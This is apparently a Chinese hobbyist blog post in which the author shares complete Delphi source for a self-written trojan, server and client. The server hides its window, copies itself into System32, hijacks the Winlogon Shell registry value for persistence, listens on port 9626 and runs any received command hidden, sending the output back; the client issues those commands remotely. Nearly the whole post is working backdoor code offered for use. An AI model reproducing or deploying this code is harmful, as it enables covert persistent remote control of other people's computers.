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| 关键词： nbsp procedure TObject Socket Sender TFmMain TCustomWinSocket end begin cchReadBuffer |
刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！ 程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。 源码如下： ////Server.pas////////////// unit UtMain; //////////////////////////////////////////////BY lanyus////////////////////////Email:[email protected]////////////QQ:231221///////////////////部分代码从网上收集/////////////////////////////////////////// interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Registry, ScktComp, StdCtrls; type TFmMain = class(TForm) SS: TServerSocket; Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket); procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var FmMain: TFmMain; reg:TRegistry; implementation {$R *.dfm} procedure TFmMain.FormCreate(Sender: TObject);varsysdir:array[0..50] of char;begin Application.ShowMainForm:=False; FmMain.Left:=-200; //运行不显示窗口 reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true); if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项 reg.Free; GetSystemDirectory(sysdir,50); if not FileExists(sysdir+'\Lysvr.exe') then copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true); SS.Port:=9626; try SS.Active:=True; except end;end; procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);begin Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’end; procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);varRemoteCmd:string;hReadPipe,hWritePipe:THandle;si:STARTUPINFO;lsa:SECURITY_ATTRIBUTES;pi:PROCESS_INFORMATION;cchReadBuffer:DWORD;ph:PChar;fname:PChar;res:string;begin Memo1.Clear; remotecmd:=Socket.ReceiveText; fname:=allocmem(255); ph:=AllocMem(5000); lsa.nLength :=sizeof(SECURITY_ATTRIBUTES); lsa.lpSecurityDescriptor :=nil; lsa.bInheritHandle :=True; if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then begin socket.SendText('不能创建管道'); exit; end; fillchar(si,sizeof(STARTUPINFO),0); si.cb:=sizeof(STARTUPINFO); si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW); si.wShowWindow:=SW_HIDE; si.hStdOutput:=hWritePipe; StrPCopy(fname,remotecmd); /////执行CMD命令//// if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then begin socket.SendText('不能创建进程'); FreeMem(ph); FreeMem(fname); Exit; end; while(true) do begin if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break; if cchReadBuffer<>0 then begin if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break; ph[cchReadbuffer]:=chr(0); Memo1.Lines.Add(ph); end else if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break; Sleep(100); end; ph[cchReadBuffer]:=chr(0); Memo1.Lines.Add(ph); //memo接收回显 CloseHandle(hReadPipe); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(hWritePipe); FreeMem(ph); FreeMem(fname); socket.SendText(Memo1.Text); ///将回显发送回客户端end; end. /////////////////////////////////////////////////////////////////////////////////////////// //////客户端///////////////////// unit UtMain; //////////////////////////////////////////////BY lanyus////////////////////////Email:[email protected]////////////QQ:231221//////////////////////////////////////////////// interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp; type TFmMain = class(TForm) WebBrowser1: TWebBrowser; Label3: TLabel; Edit2: TEdit; Label4: TLabel; Edit3: TEdit; Button2: TButton; CS: TClientSocket; Edit4: TEdit; Label5: TLabel; Memo1: TMemo; BitBtn2: TBitBtn; procedure Button2Click(Sender: TObject); procedure CSRead(Sender: TObject; Socket: TCustomWinSocket); procedure BitBtn2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var FmMain: TFmMain; implementation {$R *.dfm} procedure TFmMain.Button2Click(Sender: TObject);begin CS.Host:=Edit2.Text; CS.Port:=StrToInt(Edit3.Text); CS.Open;end; procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);begin Memo1.Clear; Memo1.Lines.Add(Socket.ReceiveText); Memo1.Lines.Add('');end; procedure TFmMain.BitBtn2Click(Sender: TObject);begin CS.Socket.SendText(edit4.Text);end; end. |
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